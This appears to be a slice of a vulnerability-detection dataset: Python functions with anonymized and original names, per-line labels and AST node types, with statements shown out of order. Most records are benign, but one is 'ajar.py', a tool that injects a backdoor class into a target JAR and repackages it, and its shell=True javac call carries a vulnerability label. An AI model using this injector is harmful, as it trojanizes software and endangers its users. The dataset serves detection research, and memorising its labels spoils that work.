"if User.username_exists(VAR_0):\n",
"VAR_0 = None\n"
] | [
"import pytest\n",
"from sanic import Sanic\n",
"import random\n",
"import json\n",
"from jogging.main import config_app\n",
"from jogging import config\n",
"from jogging.Models.user import User\n",
"username = None\n",
"access_token = None\n",
"refresh_token = None\n",
"@pytest.yield_fixture...\n",
"config.app = Sanic('test_sanic_app')\n",
"config_app()\n",
"yield config.app\n",
"@pytest.fixture...\n",
"while username is None:\n",
"i = random.randint(1, 10000)\n",
"return loop.run_until_complete(sanic_client(app))\n",
"username = f'amichay.oren+{i}@gmail.com'\n",
"if User.username_exists(username):\n",
"username = None\n"
] | [
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
"Import'",
"ImportFrom'",
"Import'",
"Import'",
"ImportFrom'",
"ImportFrom'",
"ImportFrom'",
"Assign'",
"Assign'",
"Assign'",
"Condition",
"Assign'",
"Expr'",
"Expr'",
"Condition",
"Condition",
"Assign'",
"Return'",
"Assign'",
"Condition",
"Assign'"
] |
[
"def FUNC_6(self, VAR_68):...\n",
"if not VAR_68:\n",
"return\n",
"if VAR_68.startswith('redirect_'):\n",
"VAR_104 = VAR_68[9:]\n",
"if VAR_68.startswith('vote_'):\n",
"if not VAR_104.startswith(VAR_101.site.path) and not VAR_104.startswith('http:'\n",
"VAR_41 = VAR_68[5:]\n",
"if VAR_68.startswith('share_'):\n",
"VAR_104 = (VAR_101.site.path + VAR_104).replace('//', '/')\n",
"return 'redirect', VAR_104\n",
"VAR_105 = Thing._by_fullname(VAR_41, data=True)\n",
"VAR_41 = VAR_68[6:]\n",
"if VAR_68.startswith('reply_'):\n",
"return 'redirect', VAR_105.make_permalink_slow()\n",
"VAR_105 = Thing._by_fullname(VAR_41, data=True)\n",
"VAR_41 = VAR_68[6:]\n",
"if VAR_68.startswith('sr_change_'):\n",
"return 'redirect', VAR_105.make_permalink_slow()\n",
"VAR_105 = Thing._by_fullname(VAR_41, data=True)\n",
"VAR_111 = VAR_68[10:].split(',')\n",
"return 'redirect', VAR_105.make_permalink_slow()\n",
"VAR_112 = dict(i.split(':') for i in VAR_111)\n",
"VAR_113 = Subreddit._by_fullname(VAR_112.keys(), data=True, return_dict=False)\n",
"VAR_114 = dict((VAR_52, VAR_112[VAR_52._fullname] == 1) for VAR_52 in VAR_113)\n",
"return 'subscribe', VAR_114\n"
] | [
"def run(self, reason):...\n",
"if not reason:\n",
"return\n",
"if reason.startswith('redirect_'):\n",
"dest = reason[9:]\n",
"if reason.startswith('vote_'):\n",
"if not dest.startswith(c.site.path) and not dest.startswith('http:'):\n",
"fullname = reason[5:]\n",
"if reason.startswith('share_'):\n",
"dest = (c.site.path + dest).replace('//', '/')\n",
"return 'redirect', dest\n",
"t = Thing._by_fullname(fullname, data=True)\n",
"fullname = reason[6:]\n",
"if reason.startswith('reply_'):\n",
"return 'redirect', t.make_permalink_slow()\n",
"t = Thing._by_fullname(fullname, data=True)\n",
"fullname = reason[6:]\n",
"if reason.startswith('sr_change_'):\n",
"return 'redirect', t.make_permalink_slow()\n",
"t = Thing._by_fullname(fullname, data=True)\n",
"sr_list = reason[10:].split(',')\n",
"return 'redirect', t.make_permalink_slow()\n",
"fullnames = dict(i.split(':') for i in sr_list)\n",
"srs = Subreddit._by_fullname(fullnames.keys(), data=True, return_dict=False)\n",
"sr_onoff = dict((sr, fullnames[sr._fullname] == 1) for sr in srs)\n",
"return 'subscribe', sr_onoff\n"
] | [
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
"FunctionDef'",
"Condition",
"Return'",
"Condition",
"Assign'",
"Condition",
"Condition",
"Assign'",
"Condition",
"Assign'",
"Return'",
"Assign'",
"Assign'",
"Condition",
"Return'",
"Assign'",
"Assign'",
"Condition",
"Return'",
"Assign'",
"Assign'",
"Return'",
"Assign'",
"Assign'",
"Assign'",
"Return'"
] |
[
"def FUNC_24(self):...\n",
"if not self.DiagnosticsForCurrentFileReady():\n",
"return\n",
"self._diag_interface.UpdateWithNewDiagnostics(self.\n GetDiagnosticsFromStoredRequest())\n"
] | [
"def UpdateDiagnosticInterface(self):...\n",
"if not self.DiagnosticsForCurrentFileReady():\n",
"return\n",
"self._diag_interface.UpdateWithNewDiagnostics(self.\n GetDiagnosticsFromStoredRequest())\n"
] | [
0,
0,
0,
0
] | [
"FunctionDef'",
"Condition",
"Return'",
"Expr'"
] |
[
"def __init__(self, VAR_6):...\n",
"\"\"\"docstring\"\"\"\n",
"VAR_7 = logging.getLogger(__name__)\n",
"VAR_7.setLevel(logging.DEBUG)\n",
"VAR_7.debug('Initialized thread')\n",
"super(CLASS_8, self).__init__()\n",
"self.job_queue = VAR_6\n",
"self.subscribed_queues = []\n",
"self.end = False\n"
] | [
"def __init__(self, queue):...\n",
"\"\"\"docstring\"\"\"\n",
"logger = logging.getLogger(__name__)\n",
"logger.setLevel(logging.DEBUG)\n",
"logger.debug('Initialized thread')\n",
"super(MonitoringThread, self).__init__()\n",
"self.job_queue = queue\n",
"self.subscribed_queues = []\n",
"self.end = False\n"
] | [
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
"FunctionDef'",
"Docstring",
"Assign'",
"Expr'",
"Expr'",
"Expr'",
"Assign'",
"Assign'",
"Assign'"
] |
[
"def __init__(self, VAR_1, VAR_2, VAR_3, VAR_4=None):...\n",
"GenericRequest.__init__(self, VAR_1, VAR_4)\n",
"self.url = self.base_url\n",
"self.username = VAR_2\n",
"self.loggedin = VAR_3\n"
] | [
"def __init__(self, browser, username, loggedin, base_url=None):...\n",
"GenericRequest.__init__(self, browser, base_url)\n",
"self.url = self.base_url\n",
"self.username = username\n",
"self.loggedin = loggedin\n"
] | [
0,
0,
0,
0,
0
] | [
"FunctionDef'",
"Expr'",
"Assign'",
"Assign'",
"Assign'"
] |
[
"def FUNC_39(VAR_101):...\n",
"VAR_101.params = VAR_71, VAR_72\n",
"return VAR_101\n"
] | [
"def decorate(ruleinfo):...\n",
"ruleinfo.params = params, kwparams\n",
"return ruleinfo\n"
] | [
0,
0,
0
] | [
"FunctionDef'",
"Assign'",
"Return'"
] |
[
"@VAR_0.route('/ping')...\n",
"return 'pong'\n"
] | [
"@locations.route('/ping')...\n",
"return 'pong'\n"
] | [
0,
0
] | [
"Condition",
"Return'"
] |
[
"def FUNC_6(self, VAR_1):...\n",
"\"\"\"docstring\"\"\"\n",
"VAR_14 = VAR_1.split('.')[2]\n",
"VAR_15 = __import__(VAR_1, globals(), locals(), [VAR_14])\n",
"VAR_16 = inspect.getmembers(VAR_15, inspect.isclass)\n",
"for mod in VAR_16:\n",
"if mod[0] in ('SosHost', 'Cluster'):\n",
"return VAR_16\n",
"VAR_16.remove(mod)\n"
] | [
"def _import_modules(self, modname):...\n",
"\"\"\"docstring\"\"\"\n",
"mod_short_name = modname.split('.')[2]\n",
"module = __import__(modname, globals(), locals(), [mod_short_name])\n",
"modules = inspect.getmembers(module, inspect.isclass)\n",
"for mod in modules:\n",
"if mod[0] in ('SosHost', 'Cluster'):\n",
"return modules\n",
"modules.remove(mod)\n"
] | [
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
"FunctionDef'",
"Docstring",
"Assign'",
"Assign'",
"Assign'",
"For",
"Condition",
"Return'",
"Expr'"
] |
[
"def FUNC_7():...\n",
"return HttpResponse(json.dumps({'rc': 0, 'response': 'ok'}))\n"
] | [
"def say_yes():...\n",
"return HttpResponse(json.dumps({'rc': 0, 'response': 'ok'}))\n"
] | [
0,
0
] | [
"FunctionDef'",
"Return'"
] |
[
"def FUNC_0(VAR_1):...\n",
"VAR_3 = sqlite3.connect(VAR_0)\n",
"VAR_1 = 'select * from django_migrations;'\n",
"VAR_4 = VAR_3.cursor()\n",
"VAR_4.execute(VAR_1)\n",
"VAR_5 = VAR_4.fetchall()\n",
"return VAR_5\n"
] | [
"def sqlite_executor(sql):...\n",
"conn = sqlite3.connect(DB_FILE)\n",
"sql = 'select * from django_migrations;'\n",
"cursor = conn.cursor()\n",
"cursor.execute(sql)\n",
"res = cursor.fetchall()\n",
"return res\n"
] | [
0,
0,
0,
0,
0,
0,
0
] | [
"FunctionDef'",
"Assign'",
"Assign'",
"Assign'",
"Expr'",
"Assign'",
"Return'"
] |
[
"@staticmethod...\n",
"VAR_25 = {}\n",
"for equality in VAR_5.fragment.split():\n",
"VAR_50 = equality.find('=')\n",
"return VAR_25\n",
"VAR_29 = equality[:VAR_50]\n",
"VAR_51 = equality[VAR_50 + 1:]\n",
"VAR_25[VAR_29] = VAR_51\n"
] | [
"@staticmethod...\n",
"res = {}\n",
"for equality in url.fragment.split():\n",
"index = equality.find('=')\n",
"return res\n",
"key = equality[:index]\n",
"value = equality[index + 1:]\n",
"res[key] = value\n"
] | [
0,
0,
0,
0,
0,
0,
0,
0
] | [
"Condition",
"Assign'",
"For",
"Assign'",
"Return'",
"Assign'",
"Assign'",
"Assign'"
] |
[
"def FUNC_22(VAR_14, VAR_15):...\n",
"VAR_37 = VAR_14.state['sleep_streak']\n",
"self.assertEqual(VAR_14.remote, self.server)\n",
"if VAR_37 == 5:\n",
"return False\n"
] | [
"def poll_server(botobj, _):...\n",
"sleep_streak = botobj.state['sleep_streak']\n",
"self.assertEqual(botobj.remote, self.server)\n",
"if sleep_streak == 5:\n",
"return False\n"
] | [
0,
0,
5,
0,
0
] | [
"FunctionDef'",
"Assign'",
"Expr'",
"Condition",
"Return'"
] |
[
"def FUNC_13(self, VAR_16):...\n",
"\"\"\"docstring\"\"\"\n",
"self._check_volume(VAR_16)\n",
"VAR_0.warn(_('Volume %s was not found while trying to delete it'), VAR_16[\n 'name'])\n",
"self._eql_execute('volume', 'select', VAR_16['name'], 'offline')\n",
"VAR_0.error(_('Failed to delete volume %s'), VAR_16['name'])\n",
"self._eql_execute('volume', 'delete', VAR_16['name'])\n"
] | [
"def delete_volume(self, volume):...\n",
"\"\"\"docstring\"\"\"\n",
"self._check_volume(volume)\n",
"LOG.warn(_('Volume %s was not found while trying to delete it'), volume['name']\n )\n",
"self._eql_execute('volume', 'select', volume['name'], 'offline')\n",
"LOG.error(_('Failed to delete volume %s'), volume['name'])\n",
"self._eql_execute('volume', 'delete', volume['name'])\n"
] | [
0,
0,
0,
0,
0,
0,
0
] | [
"FunctionDef'",
"Docstring",
"Expr'",
"Expr'",
"Expr'",
"Expr'",
"Expr'"
] |
[
"import zipfile, os, subprocess, shutil, sys, getopt, re\n",
"VAR_0 = VAR_1 = None\n",
"VAR_2 = 'backdoor.jar'\n",
"def FUNC_0(VAR_3):...\n",
"VAR_6 = 0\n",
"VAR_14, VAR_15 = getopt.getopt(VAR_3, 'b:t:o:', ['backdoor=', 'target=',\n 'outfile='])\n",
"print('USAGE:\\tajar.py -b <backdoor.java> -t <target.jar> [-o <outfile.jar>]')\n",
"for opt, arg in VAR_14:\n",
"sys.exit(2)\n",
"if opt == '-h':\n",
"if (VAR_0 != None) & (VAR_1 != None):\n",
"VAR_6 = 1\n",
"if opt in ('-b', '--backdoor'):\n",
"if VAR_6 != 1:\n",
"FUNC_2()\n",
"print('[!] An error ocurred:\\n')\n",
"def FUNC_1(VAR_4, VAR_5):...\n",
"print('USAGE:\\tajar.py')\n",
"VAR_0 = arg\n",
"if opt in ('-t', '--target'):\n",
"print('USAGE:\\tajar.py -b <backdoor.java> -t <target.jar> [-o <outfile.jar>]')\n",
"for e in sys.exc_info():\n",
"VAR_7 = zipfile.ZipFile('%s' % VAR_5, 'w')\n",
"VAR_1 = arg\n",
"if opt in ('-o', '--outfile'):\n",
"print(e)\n",
"VAR_8 = os.path.abspath(VAR_4)\n",
"VAR_2 = arg\n",
"for dirname, subdirs, files in os.walk(VAR_4):\n",
"for filename in files:\n",
"VAR_7.close()\n",
"if filename != VAR_0:\n",
"def FUNC_2():...\n",
"VAR_16 = os.path.abspath(os.path.join(dirname, filename))\n",
"print('[*] Starting backdoor process')\n",
"VAR_17 = VAR_16[len(VAR_8) + 1:]\n",
"print('[*] Decompressing target to tmp directory...')\n",
"VAR_7.write(VAR_16, VAR_17)\n",
"zip.extractall('tmp')\n",
"print('[*] Target dumped to tmp directory')\n",
"print('[*] Modifying manifest file...')\n",
"VAR_9 = ''\n",
"VAR_10 = open('tmp/META-INF/MANIFEST.MF', 'r').read()\n",
"for l in VAR_10.split('\\n'):\n",
"if 'Main-Class' in l:\n",
"print('[*] Manifest file modified')\n",
"VAR_9 = l[12:]\n",
"f.write('%s\\n' % l)\n",
"print('[*] Modifying provided backdoor...')\n",
"f.write('Main-Class: %s\\n' % 'Backdoor')\n",
"VAR_11 = False\n",
"VAR_12 = 0\n",
"VAR_13 = open(VAR_0, 'r').read()\n",
"for l in VAR_13.split('\\n'):\n",
"if 'main(' in l:\n",
"print('[*] Provided backdoor successfully modified')\n",
"VAR_11 = True\n",
"if '}' in l and VAR_12 < 2 and VAR_11:\n",
"print('[*] Compiling modified backdoor...')\n",
"f.write(l)\n",
"f.write('%s.main(args);}' % VAR_9)\n",
"if '}' in l and VAR_12 > 1 and VAR_11:\n",
"if subprocess.call('javac -cp tmp/ tmp/%s' % VAR_0, shell=True) != 0:\n",
"VAR_11 = False\n",
"VAR_12 -= 1\n",
"if '{' in l and VAR_11:\n",
"print('[!] Error compiling %s' % VAR_0)\n",
"print('[*] Compiled modified backdoor')\n",
"f.write(l)\n",
"VAR_12 += 1\n",
"f.write(l)\n",
"if len(VAR_9) < 1:\n",
"f.write(l)\n",
"print('[!] Main-Class manifest attribute not found')\n",
"print('[*] Repackaging target jar file...')\n",
"shutil.rmtree('tmp/')\n",
"FUNC_1('tmp', VAR_2)\n",
"if __name__ == '__main__':\n",
"print('[*] Target jar successfully repackaged')\n",
"FUNC_0(sys.argv[1:])\n"
] | [
"import zipfile, os, subprocess, shutil, sys, getopt, re\n",
"backdoor = target = None\n",
"outfile = 'backdoor.jar'\n",
"def main(argv):...\n",
"help = 0\n",
"opts, args = getopt.getopt(argv, 'b:t:o:', ['backdoor=', 'target=', 'outfile=']\n )\n",
"print('USAGE:\\tajar.py -b <backdoor.java> -t <target.jar> [-o <outfile.jar>]')\n",
"for opt, arg in opts:\n",
"sys.exit(2)\n",
"if opt == '-h':\n",
"if (backdoor != None) & (target != None):\n",
"help = 1\n",
"if opt in ('-b', '--backdoor'):\n",
"if help != 1:\n",
"start()\n",
"print('[!] An error ocurred:\\n')\n",
"def createZip(src, dst):...\n",
"print('USAGE:\\tajar.py')\n",
"backdoor = arg\n",
"if opt in ('-t', '--target'):\n",
"print('USAGE:\\tajar.py -b <backdoor.java> -t <target.jar> [-o <outfile.jar>]')\n",
"for e in sys.exc_info():\n",
"zf = zipfile.ZipFile('%s' % dst, 'w')\n",
"target = arg\n",
"if opt in ('-o', '--outfile'):\n",
"print(e)\n",
"abs_src = os.path.abspath(src)\n",
"outfile = arg\n",
"for dirname, subdirs, files in os.walk(src):\n",
"for filename in files:\n",
"zf.close()\n",
"if filename != backdoor:\n",
"def start():...\n",
"absname = os.path.abspath(os.path.join(dirname, filename))\n",
"print('[*] Starting backdoor process')\n",
"arcname = absname[len(abs_src) + 1:]\n",
"print('[*] Decompressing target to tmp directory...')\n",
"zf.write(absname, arcname)\n",
"zip.extractall('tmp')\n",
"print('[*] Target dumped to tmp directory')\n",
"print('[*] Modifying manifest file...')\n",
"oldmain = ''\n",
"man = open('tmp/META-INF/MANIFEST.MF', 'r').read()\n",
"for l in man.split('\\n'):\n",
"if 'Main-Class' in l:\n",
"print('[*] Manifest file modified')\n",
"oldmain = l[12:]\n",
"f.write('%s\\n' % l)\n",
"print('[*] Modifying provided backdoor...')\n",
"f.write('Main-Class: %s\\n' % 'Backdoor')\n",
"inmain = False\n",
"level = 0\n",
"bd = open(backdoor, 'r').read()\n",
"for l in bd.split('\\n'):\n",
"if 'main(' in l:\n",
"print('[*] Provided backdoor successfully modified')\n",
"inmain = True\n",
"if '}' in l and level < 2 and inmain:\n",
"print('[*] Compiling modified backdoor...')\n",
"f.write(l)\n",
"f.write('%s.main(args);}' % oldmain)\n",
"if '}' in l and level > 1 and inmain:\n",
"if subprocess.call('javac -cp tmp/ tmp/%s' % backdoor, shell=True) != 0:\n",
"inmain = False\n",
"level -= 1\n",
"if '{' in l and inmain:\n",
"print('[!] Error compiling %s' % backdoor)\n",
"print('[*] Compiled modified backdoor')\n",
"f.write(l)\n",
"level += 1\n",
"f.write(l)\n",
"if len(oldmain) < 1:\n",
"f.write(l)\n",
"print('[!] Main-Class manifest attribute not found')\n",
"print('[*] Repackaging target jar file...')\n",
"shutil.rmtree('tmp/')\n",
"createZip('tmp', outfile)\n",
"if __name__ == '__main__':\n",
"print('[*] Target jar successfully repackaged')\n",
"main(sys.argv[1:])\n"
] | [
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
"Import'",
"Assign'",
"Assign'",
"FunctionDef'",
"Assign'",
"Assign'",
"Expr'",
"For",
"Expr'",
"Condition",
"Condition",
"Assign'",
"Condition",
"Condition",
"Expr'",
"Expr'",
"FunctionDef'",
"Expr'",
"Assign'",
"Condition",
"Expr'",
"For",
"Assign'",
"Assign'",
"Condition",
"Expr'",
"Assign'",
"Assign'",
"For",
"For",
"Expr'",
"Condition",
"FunctionDef'",
"Assign'",
"Expr'",
"Assign'",
"Expr'",
"Expr'",
"Expr'",
"Expr'",
"Expr'",
"Assign'",
"Assign'",
"For",
"Condition",
"Expr'",
"Assign'",
"Expr'",
"Expr'",
"Expr'",
"Assign'",
"Assign'",
"Assign'",
"For",
"Condition",
"Expr'",
"Assign'",
"Condition",
"Expr'",
"Expr'",
"Expr'",
"Condition",
"Condition",
"Assign'",
"AugAssign'",
"Condition",
"Expr'",
"Expr'",
"Expr'",
"AugAssign'",
"Expr'",
"Condition",
"Expr'",
"Expr'",
"Expr'",
"Expr'",
"Expr'",
"Condition",
"Expr'",
"Expr'"
] |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.